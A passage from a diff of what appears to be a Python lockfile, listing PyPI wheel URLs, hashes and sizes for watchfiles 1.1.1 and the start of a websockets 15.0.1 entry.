+    { url = "https://files.pythonhosted.org/packages/49/36/506447b73eb46c120169dc1717fe2eff07c234bb3232a7200b5f5bd816e9/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5f3f58818dc0b07f7d9aa7fe9eb1037aecb9700e63e1f6acfed13e9fef648f5d", size = 596088, upload-time = "2025-10-14T15:04:38.39Z" },
+    { url = "https://files.pythonhosted.org/packages/82/ab/5f39e752a9838ec4d52e9b87c1e80f1ee3ccdbe92e183c15b6577ab9de16/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bb9f66367023ae783551042d31b1d7fd422e8289eedd91f26754a66f44d5cff", size = 472923, upload-time = "2025-10-14T15:04:39.666Z" },
+    { url = "https://files.pythonhosted.org/packages/af/b9/a419292f05e302dea372fa7e6fda5178a92998411f8581b9830d28fb9edb/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aebfd0861a83e6c3d1110b78ad54704486555246e542be3e2bb94195eabb2606", size = 456080, upload-time = "2025-10-14T15:04:40.643Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/c3/d5932fd62bde1a30c36e10c409dc5d54506726f08cb3e1d8d0ba5e2bc8db/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fac835b4ab3c6487b5dbad78c4b3724e26bcc468e886f8ba8cc4306f68f6701", size = 629432, upload-time = "2025-10-14T15:04:41.789Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/77/16bddd9779fafb795f1a94319dc965209c5641db5bf1edbbccace6d1b3c0/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:399600947b170270e80134ac854e21b3ccdefa11a9529a3decc1327088180f10", size = 623046, upload-time = "2025-10-14T15:04:42.718Z" },
+    { url = "https://files.pythonhosted.org/packages/46/ef/f2ecb9a0f342b4bfad13a2787155c6ee7ce792140eac63a34676a2feeef2/watchfiles-1.1.1-cp311-cp311-win32.whl", hash = "sha256:de6da501c883f58ad50db3a32ad397b09ad29865b5f26f64c24d3e3281685849", size = 271473, upload-time = "2025-10-14T15:04:43.624Z" },
+    { url = "https://files.pythonhosted.org/packages/94/bc/f42d71125f19731ea435c3948cad148d31a64fccde3867e5ba4edee901f9/watchfiles-1.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:35c53bd62a0b885bf653ebf6b700d1bf05debb78ad9292cf2a942b23513dc4c4", size = 287598, upload-time = "2025-10-14T15:04:44.516Z" },
+    { url = "https://files.pythonhosted.org/packages/57/c9/a30f897351f95bbbfb6abcadafbaca711ce1162f4db95fc908c98a9165f3/watchfiles-1.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:57ca5281a8b5e27593cb7d82c2ac927ad88a96ed406aa446f6344e4328208e9e", size = 277210, upload-time = "2025-10-14T15:04:45.883Z" },
+    { url = "https://files.pythonhosted.org/packages/74/d5/f039e7e3c639d9b1d09b07ea412a6806d38123f0508e5f9b48a87b0a76cc/watchfiles-1.1.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:8c89f9f2f740a6b7dcc753140dd5e1ab9215966f7a3530d0c0705c83b401bd7d", size = 404745, upload-time = "2025-10-14T15:04:46.731Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/96/a881a13aa1349827490dab2d363c8039527060cfcc2c92cc6d13d1b1049e/watchfiles-1.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bd404be08018c37350f0d6e34676bd1e2889990117a2b90070b3007f172d0610", size = 391769, upload-time = "2025-10-14T15:04:48.003Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/5b/d3b460364aeb8da471c1989238ea0e56bec24b6042a68046adf3d9ddb01c/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8526e8f916bb5b9a0a777c8317c23ce65de259422bba5b31325a6fa6029d33af", size = 449374, upload-time = "2025-10-14T15:04:49.179Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/44/5769cb62d4ed055cb17417c0a109a92f007114a4e07f30812a73a4efdb11/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2edc3553362b1c38d9f06242416a5d8e9fe235c204a4072e988ce2e5bb1f69f6", size = 459485, upload-time = "2025-10-14T15:04:50.155Z" },
+    { url = "https://files.pythonhosted.org/packages/19/0c/286b6301ded2eccd4ffd0041a1b726afda999926cf720aab63adb68a1e36/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:30f7da3fb3f2844259cba4720c3fc7138eb0f7b659c38f3bfa65084c7fc7abce", size = 488813, upload-time = "2025-10-14T15:04:51.059Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/2b/8530ed41112dd4a22f4dcfdb5ccf6a1baad1ff6eed8dc5a5f09e7e8c41c7/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f8979280bdafff686ba5e4d8f97840f929a87ed9cdf133cbbd42f7766774d2aa", size = 594816, upload-time = "2025-10-14T15:04:52.031Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/d2/f5f9fb49489f184f18470d4f99f4e862a4b3e9ac2865688eb2099e3d837a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dcc5c24523771db3a294c77d94771abcfcb82a0e0ee8efd910c37c59ec1b31bb", size = 475186, upload-time = "2025-10-14T15:04:53.064Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/68/5707da262a119fb06fbe214d82dd1fe4a6f4af32d2d14de368d0349eb52a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803", size = 456812, upload-time = "2025-10-14T15:04:55.174Z" },
+    { url = "https://files.pythonhosted.org/packages/66/ab/3cbb8756323e8f9b6f9acb9ef4ec26d42b2109bce830cc1f3468df20511d/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:28475ddbde92df1874b6c5c8aaeb24ad5be47a11f87cde5a28ef3835932e3e94", size = 630196, upload-time = "2025-10-14T15:04:56.22Z" },
+    { url = "https://files.pythonhosted.org/packages/78/46/7152ec29b8335f80167928944a94955015a345440f524d2dfe63fc2f437b/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:36193ed342f5b9842edd3532729a2ad55c4160ffcfa3700e0d54be496b70dd43", size = 622657, upload-time = "2025-10-14T15:04:57.521Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/bf/95895e78dd75efe9a7f31733607f384b42eb5feb54bd2eb6ed57cc2e94f4/watchfiles-1.1.1-cp312-cp312-win32.whl", hash = "sha256:859e43a1951717cc8de7f4c77674a6d389b106361585951d9e69572823f311d9", size = 272042, upload-time = "2025-10-14T15:04:59.046Z" },
+    { url = "https://files.pythonhosted.org/packages/87/0a/90eb755f568de2688cb220171c4191df932232c20946966c27a59c400850/watchfiles-1.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:91d4c9a823a8c987cce8fa2690923b069966dabb196dd8d137ea2cede885fde9", size = 288410, upload-time = "2025-10-14T15:05:00.081Z" },
+    { url = "https://files.pythonhosted.org/packages/36/76/f322701530586922fbd6723c4f91ace21364924822a8772c549483abed13/watchfiles-1.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:a625815d4a2bdca61953dbba5a39d60164451ef34c88d751f6c368c3ea73d404", size = 278209, upload-time = "2025-10-14T15:05:01.168Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/f4/f750b29225fe77139f7ae5de89d4949f5a99f934c65a1f1c0b248f26f747/watchfiles-1.1.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:130e4876309e8686a5e37dba7d5e9bc77e6ed908266996ca26572437a5271e18", size = 404321, upload-time = "2025-10-14T15:05:02.063Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/f9/f07a295cde762644aa4c4bb0f88921d2d141af45e735b965fb2e87858328/watchfiles-1.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5f3bde70f157f84ece3765b42b4a52c6ac1a50334903c6eaf765362f6ccca88a", size = 391783, upload-time = "2025-10-14T15:05:03.052Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/11/fc2502457e0bea39a5c958d86d2cb69e407a4d00b85735ca724bfa6e0d1a/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14e0b1fe858430fc0251737ef3824c54027bedb8c37c38114488b8e131cf8219", size = 449279, upload-time = "2025-10-14T15:05:04.004Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/1f/d66bc15ea0b728df3ed96a539c777acfcad0eb78555ad9efcaa1274688f0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f27db948078f3823a6bb3b465180db8ebecf26dd5dae6f6180bd87383b6b4428", size = 459405, upload-time = "2025-10-14T15:05:04.942Z" },
+    { url = "https://files.pythonhosted.org/packages/be/90/9f4a65c0aec3ccf032703e6db02d89a157462fbb2cf20dd415128251cac0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:059098c3a429f62fc98e8ec62b982230ef2c8df68c79e826e37b895bc359a9c0", size = 488976, upload-time = "2025-10-14T15:05:05.905Z" },
+    { url = "https://files.pythonhosted.org/packages/37/57/ee347af605d867f712be7029bb94c8c071732a4b44792e3176fa3c612d39/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfb5862016acc9b869bb57284e6cb35fdf8e22fe59f7548858e2f971d045f150", size = 595506, upload-time = "2025-10-14T15:05:06.906Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/78/cc5ab0b86c122047f75e8fc471c67a04dee395daf847d3e59381996c8707/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:319b27255aacd9923b8a276bb14d21a5f7ff82564c744235fc5eae58d95422ae", size = 474936, upload-time = "2025-10-14T15:05:07.906Z" },
+    { url = "https://files.pythonhosted.org/packages/62/da/def65b170a3815af7bd40a3e7010bf6ab53089ef1b75d05dd5385b87cf08/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c755367e51db90e75b19454b680903631d41f9e3607fbd941d296a020c2d752d", size = 456147, upload-time = "2025-10-14T15:05:09.138Z" },
+    { url = "https://files.pythonhosted.org/packages/57/99/da6573ba71166e82d288d4df0839128004c67d2778d3b566c138695f5c0b/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c22c776292a23bfc7237a98f791b9ad3144b02116ff10d820829ce62dff46d0b", size = 630007, upload-time = "2025-10-14T15:05:10.117Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/51/7439c4dd39511368849eb1e53279cd3454b4a4dbace80bab88feeb83c6b5/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:3a476189be23c3686bc2f4321dd501cb329c0a0469e77b7b534ee10129ae6374", size = 622280, upload-time = "2025-10-14T15:05:11.146Z" },
+    { url = "https://files.pythonhosted.org/packages/95/9c/8ed97d4bba5db6fdcdb2b298d3898f2dd5c20f6b73aee04eabe56c59677e/watchfiles-1.1.1-cp313-cp313-win32.whl", hash = "sha256:bf0a91bfb5574a2f7fc223cf95eeea79abfefa404bf1ea5e339c0c1560ae99a0", size = 272056, upload-time = "2025-10-14T15:05:12.156Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/f3/c14e28429f744a260d8ceae18bf58c1d5fa56b50d006a7a9f80e1882cb0d/watchfiles-1.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:52e06553899e11e8074503c8e716d574adeeb7e68913115c4b3653c53f9bae42", size = 288162, upload-time = "2025-10-14T15:05:13.208Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/61/fe0e56c40d5cd29523e398d31153218718c5786b5e636d9ae8ae79453d27/watchfiles-1.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:ac3cc5759570cd02662b15fbcd9d917f7ecd47efe0d6b40474eafd246f91ea18", size = 277909, upload-time = "2025-10-14T15:05:14.49Z" },
+    { url = "https://files.pythonhosted.org/packages/79/42/e0a7d749626f1e28c7108a99fb9bf524b501bbbeb9b261ceecde644d5a07/watchfiles-1.1.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:563b116874a9a7ce6f96f87cd0b94f7faf92d08d0021e837796f0a14318ef8da", size = 403389, upload-time = "2025-10-14T15:05:15.777Z" },
+    { url = "https://files.pythonhosted.org/packages/15/49/08732f90ce0fbbc13913f9f215c689cfc9ced345fb1bcd8829a50007cc8d/watchfiles-1.1.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3ad9fe1dae4ab4212d8c91e80b832425e24f421703b5a42ef2e4a1e215aff051", size = 389964, upload-time = "2025-10-14T15:05:16.85Z" },
+    { url = "https://files.pythonhosted.org/packages/27/0d/7c315d4bd5f2538910491a0393c56bf70d333d51bc5b34bee8e68e8cea19/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce70f96a46b894b36eba678f153f052967a0d06d5b5a19b336ab0dbbd029f73e", size = 448114, upload-time = "2025-10-14T15:05:17.876Z" },
+    { url = "https://files.pythonhosted.org/packages/c3/24/9e096de47a4d11bc4df41e9d1e61776393eac4cb6eb11b3e23315b78b2cc/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cb467c999c2eff23a6417e58d75e5828716f42ed8289fe6b77a7e5a91036ca70", size = 460264, upload-time = "2025-10-14T15:05:18.962Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/0f/e8dea6375f1d3ba5fcb0b3583e2b493e77379834c74fd5a22d66d85d6540/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:836398932192dae4146c8f6f737d74baeac8b70ce14831a239bdb1ca882fc261", size = 487877, upload-time = "2025-10-14T15:05:20.094Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/5b/df24cfc6424a12deb41503b64d42fbea6b8cb357ec62ca84a5a3476f654a/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:743185e7372b7bc7c389e1badcc606931a827112fbbd37f14c537320fca08620", size = 595176, upload-time = "2025-10-14T15:05:21.134Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/b5/853b6757f7347de4e9b37e8cc3289283fb983cba1ab4d2d7144694871d9c/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:afaeff7696e0ad9f02cbb8f56365ff4686ab205fcf9c4c5b6fdfaaa16549dd04", size = 473577, upload-time = "2025-10-14T15:05:22.306Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/f7/0a4467be0a56e80447c8529c9fce5b38eab4f513cb3d9bf82e7392a5696b/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f7eb7da0eb23aa2ba036d4f616d46906013a68caf61b7fdbe42fc8b25132e77", size = 455425, upload-time = "2025-10-14T15:05:23.348Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/e0/82583485ea00137ddf69bc84a2db88bd92ab4a6e3c405e5fb878ead8d0e7/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:831a62658609f0e5c64178211c942ace999517f5770fe9436be4c2faeba0c0ef", size = 628826, upload-time = "2025-10-14T15:05:24.398Z" },
+    { url = "https://files.pythonhosted.org/packages/28/9a/a785356fccf9fae84c0cc90570f11702ae9571036fb25932f1242c82191c/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:f9a2ae5c91cecc9edd47e041a930490c31c3afb1f5e6d71de3dc671bfaca02bf", size = 622208, upload-time = "2025-10-14T15:05:25.45Z" },
+    { url = "https://files.pythonhosted.org/packages/c3/f4/0872229324ef69b2c3edec35e84bd57a1289e7d3fe74588048ed8947a323/watchfiles-1.1.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:d1715143123baeeaeadec0528bb7441103979a1d5f6fd0e1f915383fea7ea6d5", size = 404315, upload-time = "2025-10-14T15:05:26.501Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/22/16d5331eaed1cb107b873f6ae1b69e9ced582fcf0c59a50cd84f403b1c32/watchfiles-1.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:39574d6370c4579d7f5d0ad940ce5b20db0e4117444e39b6d8f99db5676c52fd", size = 390869, upload-time = "2025-10-14T15:05:27.649Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/7e/5643bfff5acb6539b18483128fdc0ef2cccc94a5b8fbda130c823e8ed636/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7365b92c2e69ee952902e8f70f3ba6360d0d596d9299d55d7d386df84b6941fb", size = 449919, upload-time = "2025-10-14T15:05:28.701Z" },
+    { url = "https://files.pythonhosted.org/packages/51/2e/c410993ba5025a9f9357c376f48976ef0e1b1aefb73b97a5ae01a5972755/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bfff9740c69c0e4ed32416f013f3c45e2ae42ccedd1167ef2d805c000b6c71a5", size = 460845, upload-time = "2025-10-14T15:05:30.064Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/a4/2df3b404469122e8680f0fcd06079317e48db58a2da2950fb45020947734/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b27cf2eb1dda37b2089e3907d8ea92922b673c0c427886d4edc6b94d8dfe5db3", size = 489027, upload-time = "2025-10-14T15:05:31.064Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/84/4587ba5b1f267167ee715b7f66e6382cca6938e0a4b870adad93e44747e6/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:526e86aced14a65a5b0ec50827c745597c782ff46b571dbfe46192ab9e0b3c33", size = 595615, upload-time = "2025-10-14T15:05:32.074Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/0f/c6988c91d06e93cd0bb3d4a808bcf32375ca1904609835c3031799e3ecae/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04e78dd0b6352db95507fd8cb46f39d185cf8c74e4cf1e4fbad1d3df96faf510", size = 474836, upload-time = "2025-10-14T15:05:33.209Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/36/ded8aebea91919485b7bbabbd14f5f359326cb5ec218cd67074d1e426d74/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c85794a4cfa094714fb9c08d4a218375b2b95b8ed1666e8677c349906246c05", size = 455099, upload-time = "2025-10-14T15:05:34.189Z" },
+    { url = "https://files.pythonhosted.org/packages/98/e0/8c9bdba88af756a2fce230dd365fab2baf927ba42cd47521ee7498fd5211/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:74d5012b7630714b66be7b7b7a78855ef7ad58e8650c73afc4c076a1f480a8d6", size = 630626, upload-time = "2025-10-14T15:05:35.216Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/84/a95db05354bf2d19e438520d92a8ca475e578c647f78f53197f5a2f17aaf/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:8fbe85cb3201c7d380d3d0b90e63d520f15d6afe217165d7f98c9c649654db81", size = 622519, upload-time = "2025-10-14T15:05:36.259Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/ce/d8acdc8de545de995c339be67711e474c77d643555a9bb74a9334252bd55/watchfiles-1.1.1-cp314-cp314-win32.whl", hash = "sha256:3fa0b59c92278b5a7800d3ee7733da9d096d4aabcfabb9a928918bd276ef9b9b", size = 272078, upload-time = "2025-10-14T15:05:37.63Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/c9/a74487f72d0451524be827e8edec251da0cc1fcf111646a511ae752e1a3d/watchfiles-1.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:c2047d0b6cea13b3316bdbafbfa0c4228ae593d995030fda39089d36e64fc03a", size = 287664, upload-time = "2025-10-14T15:05:38.95Z" },
+    { url = "https://files.pythonhosted.org/packages/df/b8/8ac000702cdd496cdce998c6f4ee0ca1f15977bba51bdf07d872ebdfc34c/watchfiles-1.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:842178b126593addc05acf6fce960d28bc5fae7afbaa2c6c1b3a7b9460e5be02", size = 277154, upload-time = "2025-10-14T15:05:39.954Z" },
+    { url = "https://files.pythonhosted.org/packages/47/a8/e3af2184707c29f0f14b1963c0aace6529f9d1b8582d5b99f31bbf42f59e/watchfiles-1.1.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:88863fbbc1a7312972f1c511f202eb30866370ebb8493aef2812b9ff28156a21", size = 403820, upload-time = "2025-10-14T15:05:40.932Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/ec/e47e307c2f4bd75f9f9e8afbe3876679b18e1bcec449beca132a1c5ffb2d/watchfiles-1.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:55c7475190662e202c08c6c0f4d9e345a29367438cf8e8037f3155e10a88d5a5", size = 390510, upload-time = "2025-10-14T15:05:41.945Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/a0/ad235642118090f66e7b2f18fd5c42082418404a79205cdfca50b6309c13/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f53fa183d53a1d7a8852277c92b967ae99c2d4dcee2bfacff8868e6e30b15f7", size = 448408, upload-time = "2025-10-14T15:05:43.385Z" },
+    { url = "https://files.pythonhosted.org/packages/df/85/97fa10fd5ff3332ae17e7e40e20784e419e28521549780869f1413742e9d/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6aae418a8b323732fa89721d86f39ec8f092fc2af67f4217a2b07fd3e93c6101", size = 458968, upload-time = "2025-10-14T15:05:44.404Z" },
+    { url = "https://files.pythonhosted.org/packages/47/c2/9059c2e8966ea5ce678166617a7f75ecba6164375f3b288e50a40dc6d489/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f096076119da54a6080e8920cbdaac3dbee667eb91dcc5e5b78840b87415bd44", size = 488096, upload-time = "2025-10-14T15:05:45.398Z" },
+    { url = "https://files.pythonhosted.org/packages/94/44/d90a9ec8ac309bc26db808a13e7bfc0e4e78b6fc051078a554e132e80160/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:00485f441d183717038ed2e887a7c868154f216877653121068107b227a2f64c", size = 596040, upload-time = "2025-10-14T15:05:46.502Z" },
+    { url = "https://files.pythonhosted.org/packages/95/68/4e3479b20ca305cfc561db3ed207a8a1c745ee32bf24f2026a129d0ddb6e/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a55f3e9e493158d7bfdb60a1165035f1cf7d320914e7b7ea83fe22c6023b58fc", size = 473847, upload-time = "2025-10-14T15:05:47.484Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/55/2af26693fd15165c4ff7857e38330e1b61ab8c37d15dc79118cdba115b7a/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c91ed27800188c2ae96d16e3149f199d62f86c7af5f5f4d2c61a3ed8cd3666c", size = 455072, upload-time = "2025-10-14T15:05:48.928Z" },
+    { url = "https://files.pythonhosted.org/packages/66/1d/d0d200b10c9311ec25d2273f8aad8c3ef7cc7ea11808022501811208a750/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:311ff15a0bae3714ffb603e6ba6dbfba4065ab60865d15a6ec544133bdb21099", size = 629104, upload-time = "2025-10-14T15:05:49.908Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/bd/fa9bb053192491b3867ba07d2343d9f2252e00811567d30ae8d0f78136fe/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a916a2932da8f8ab582f242c065f5c81bed3462849ca79ee357dd9551b0e9b01", size = 622112, upload-time = "2025-10-14T15:05:50.941Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/4c/a888c91e2e326872fa4705095d64acd8aa2fb9c1f7b9bd0588f33850516c/watchfiles-1.1.1-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:17ef139237dfced9da49fb7f2232c86ca9421f666d78c264c7ffca6601d154c3", size = 409611, upload-time = "2025-10-14T15:06:05.809Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/c7/5420d1943c8e3ce1a21c0a9330bcf7edafb6aa65d26b21dbb3267c9e8112/watchfiles-1.1.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:672b8adf25b1a0d35c96b5888b7b18699d27d4194bac8beeae75be4b7a3fc9b2", size = 396889, upload-time = "2025-10-14T15:06:07.035Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/e5/0072cef3804ce8d3aaddbfe7788aadff6b3d3f98a286fdbee9fd74ca59a7/watchfiles-1.1.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77a13aea58bc2b90173bc69f2a90de8e282648939a00a602e1dc4ee23e26b66d", size = 451616, upload-time = "2025-10-14T15:06:08.072Z" },
+    { url = "https://files.pythonhosted.org/packages/83/4e/b87b71cbdfad81ad7e83358b3e447fedd281b880a03d64a760fe0a11fc2e/watchfiles-1.1.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b495de0bb386df6a12b18335a0285dda90260f51bdb505503c02bcd1ce27a8b", size = 458413, upload-time = "2025-10-14T15:06:09.209Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/8e/e500f8b0b77be4ff753ac94dc06b33d8f0d839377fee1b78e8c8d8f031bf/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:db476ab59b6765134de1d4fe96a1a9c96ddf091683599be0f26147ea1b2e4b88", size = 408250, upload-time = "2025-10-14T15:06:10.264Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/95/615e72cd27b85b61eec764a5ca51bd94d40b5adea5ff47567d9ebc4d275a/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:89eef07eee5e9d1fda06e38822ad167a044153457e6fd997f8a858ab7564a336", size = 396117, upload-time = "2025-10-14T15:06:11.28Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/81/e7fe958ce8a7fb5c73cc9fb07f5aeaf755e6aa72498c57d760af760c91f8/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce19e06cbda693e9e7686358af9cd6f5d61312ab8b00488bc36f5aabbaf77e24", size = 450493, upload-time = "2025-10-14T15:06:12.321Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/d4/ed38dd3b1767193de971e694aa544356e63353c33a85d948166b5ff58b9e/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e6f39af2eab0118338902798b5aa6664f46ff66bc0280de76fca67a7f262a49", size = 457546, upload-time = "2025-10-14T15:06:13.372Z" },
+]
+
+[[package]]
+name = "websockets"
+version = "15.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1e/da/6462a9f510c0c49837bbc9345aca92d767a56c1fb2939e1579df1e1cdcf7/websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b", size = 175423, upload-time = "2025-03-05T20:01:35.363Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/9f/9d11c1a4eb046a9e106483b9ff69bce7ac880443f00e5ce64261b47b07e7/websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205", size = 173080, upload-time = "2025-03-05T20:01:37.304Z" },
